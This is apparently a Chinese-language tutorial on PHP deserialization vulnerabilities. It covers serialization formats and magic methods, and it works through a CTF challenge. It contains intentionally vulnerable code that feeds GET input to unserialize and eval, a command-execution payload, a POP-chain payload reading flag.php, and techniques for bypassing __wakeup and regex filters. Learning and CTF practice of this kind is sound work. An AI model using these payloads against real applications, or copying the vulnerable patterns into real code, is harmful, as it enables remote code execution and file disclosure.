PHP反序列化漏洞
类的结构
class ClassName{// 成员变量声明
// 成员函数声明
}类的修饰符
public 共有的 外部可用protected 受保护的 外部不可用private 私有的 外部不可用
上面就是定义一个类的格式,例如下面class定义类名,其中定义成员变量一定要加声明var
也可以定义函数(方法),在当前类里面调用变量,需要加this,代表当前类,然后下面的需要将类实体化,才能调用里面的函数,另外也可以将没有初始值的sex进行赋值
<?php
# phpstormclass demo{// 声明 成员变量var $n="wdasdsad";var $sex;// 声明 成员函数function jm(){echo $this->n;//this 代表当前类}
}
//先进行实体化
$d = new demo();
//在进行调用
$d -> jm();
echo "\n";
//也可以进行赋值
echo $d->sex="jr";
echo "\n";而关于public 以及protected private三个声明之间其中public代表公共的,protect代表包含 priva代表私有,被public修饰的成员变量可以在类的内部或者外部调用,而其他两个只能在类的内部调用
<?php
class demo{// 声明 成员变量 public 公共的public $name="juran";// 受保护的protected $sex="猛男";// 私有的private $age=18;// 声明 成员函数function jr(){
// echo $this->name;
// echo $this->sex;echo $this->age;}
}$d = new demo();
//echo $d->name;
// 类的外部不能调用受保护的成员变量
//echo $d->sex;
// 类的外部不能调用私有的的成员变量
//echo $d->age;
$d -> jr();序列化基础知识
序列化是将对象的状态信息转换为可以存储或传输得到形式的过程
<?phpN;
echo serialize(null);i:123;
echo serialize(123);d:123.3;
echo serialize(123.3);b:1;
echo serialize(true);s:5:"juran";
echo serialize("juran");$a = array("juran", "jr", "JR");
a:3:{i:0;s:5:"juran";i:1;s:2:"jr";i:2;s:2:"JR";}
a:3 参数个数
i:0 编号s:5:juran; 值
echo serialize($a);class demo{public $name = "juran";
// public $age;protected $age;private $sex;public function jr(){echo $this->name;}
}O:4:"demo":1:{s:4:"name";s:5:"juran";}
O:4:"demo":2:{s:4:"name";s:5:"juran";s:3:"age";N;}
O:4:"demo":2:{s:4:"name";s:5:"juran";s:6:"%00*%00age";N;}%00类名%00属性名字
O:4:"demo":3:{s:4:"name";s:5:"juran";s:6:"%00*%00age";N;s:9:"%00demo%00sex";N;}
echo urlencode(serialize(new demo()));
序列化之后的表达方式 空字符、整形、浮点型、字符串、数组、对象
反序列化
反序列化是将序列化得到的字符串转化为一个对象的过程;
反序列化生成的对象的成员属性值由被反序列化的字符串决定,与原来类预定义的值 无关;
反序列化使用unserialize()函数将字符串转换为对象,序列化使用serialize()函数将对象转 化为字符串;
反序列化不触发类的成员方法,需要调用方法后才能触发
<?php
class demo{public $name = "juran";// public $age;protected $age;private $sex;public function jr(){echo $this->name;}
}
// O%3A4%3A%22demo%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22juran%22%3Bs%3A6%3A%22%00%2A%00age%22%3BN%3Bs%3A9%3A%22%00demo%00sex%22%3BN%3B%7D
echo urlencode(serialize(new demo()));
// O:4:"demo":3:{s:4:"name";s:2:"jr";s:6:"%00*%00age";N;s:9:"%00demo%00sex";N;}
echo "\n";
// 反序列化生成的对象的 成员属性值 由被 反序列化的字符串 决定,与 原来类预定义的值无关;
$d = unserialize(urldecode("O%3A4%3A%22demo%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A2%3A%22jr%22%3Bs%3A6%3A%22%00%2A%00age%22%3BN%3Bs%3A9%3A%22%00demo%00sex%22%3BN%3B%7D"));其反序列化以后结果如下

反序列化漏洞利用
<?php
class demo{public $a = 'this is string';public function displayVar() {eval($this->a);}
}//echo serialize(new demo());
// O:4:"demo":1:{s:1:"a";s:19:"system("ipconfig");";}$get = $_GET["s"];
echo $get;
// eval->displayVar->s->接收一个序列化的值->$a->可以执行的命令
$b = unserialize($get);
$b->displayVar();魔法方法
destruct() / /类的析构函数,对象被销毁时触发 反序列化时会被触发
cal1() //调用对象不可访问、不存在的方法时触发
callstatic() //在静态上下文中调用不可访问的方法时触发
get() //调用不可访问、不存在的对象成员属性时触发
set() //在给不可访问、不存在的对象成员属性赋值时触发
unset() //在不可访问的属性上使用unset()时触发
invoke() //把对象当初函数调用时触发
sleep() //执行serialize()时,先会调用这个方法
wakeup() //执行unserialize()时,先会调用这个方法
tostring() //把对象当成字符串调用时触发
clone() //使用clone关键字拷贝完一个对象后触发
下面对象创建时候,construct()下面的方法会被触发,后面在进行反序列时候会触发destruct()
class demo{public function __construct(){echo "已创建";echo "\n";}public function __destruct(){echo "已销毁";echo "\n";}public function jr(){echo "juran";}
}$d = new demo();
//$d->jr();
// O:4:"demo":0:{}
echo serialize($d);// unserialize -> __destruct
var_dump(unserialize('O:4:"demo":0:{}'));
以及下面sleep() wakeup() 两对,序列化时触发sleep,反序列时触发wakeup,但是有一点,sleep触发后,没有任何值,需要return 一个数组才能出现对象
<?php
class demo{public $name="juran";public function __sleep(){echo "使用了serialize";// 数组return array($this->name);}public function __wakeup(){echo "使用了unserialize";echo "\n";}
}$d = new demo();
$b = serialize($d);
echo $b;
unserialize($b);
clone() //使用clone关键字拷贝完一个对象后触发,把类当做函数就会触发


POP链构造思路
<?phpclass demo1
{public $a = "juran";public $b = true;public $c = 666;
}class demo2
{public $h = "hhh";public $d;
}// 成员属性赋值对象
$d1 = new demo1();
$d2 = new demo2();
echo serialize($d2);
echo "\n";
//O:5:"demo2":2:{s:1:"h";s:3:"hhh";s:1:"d";N;}
$d2->d = $d1;
// O:5:"demo2":2:{s:1:"h";s:3:"hhh";s:1:"d";O:5:"demo1":3:{s:1:"a";s:5:"juran";s:1:"b";b:1;s:1:"c";i:666;}}
echo serialize($d2);我们来看一到ctf题目
<?php
class Modifier {private $var;// $var=flag.phppublic function append($value){echo $value;include($value);echo $flag;}public function __invoke(){$this->append($this->var);}
}class Show{// Showpublic $source;// Testpublic $str;public function __toString(){return $this->str->source;}public function __wakeup(){echo $this->source;}
}class Test{// Modifierpublic $p;public function __construct(){$this->p = array();}// 不存在的属性public function __get($key){$function = $this->p;return $function();}
}// pop序列化的值
if(isset($_GET['pop'])){unserialize($_GET['pop']);
}
//unserialize('O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:" Modifier var";s:8:"flag.php";}}}');// unserialize->Show->__wakeup->echo->$this->source=Show->__toString
// $this->str=Test -> 不存在source ->__get ->$function()->$p=Modifier
// __invoke->$this->append->include($value)最后payload如下
/ O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}最后讲一下绕过方法,题目如下,其实只要将$admin和$passwd分别赋值成admin和wllm就可以了,并且绕过一下--wakeup

将其序列化一下,注意他的属性值个数大于实际的格式就会绕过wakeup

最后一个,通常我们序列化一个对象之后前面的值一定是o:4,但是这样会受到下面正则匹配限制,其实只需要o:+4,在中间加一个加号就能绕过,下面匹配的是以o或c开头后面接一个数字

<?phpclass Demo
{private $file = 'index.php';public function __construct($file){$this->file = $file;}function __destruct(){echo @highlight_file($this->file, true);}function __wakeup(){if ($this->file != 'index.php') {//the secret is in the fl4g.php$this->file = 'index.php';}}
}if (isset($_GET['var'])) {$var = base64_decode($_GET['var']);// O:+4if (preg_match('/[oc]:\d+:/i', $var)) {die('stop hacking!');} else {@unserialize($var);}
} else {highlight_file("index.php");
}
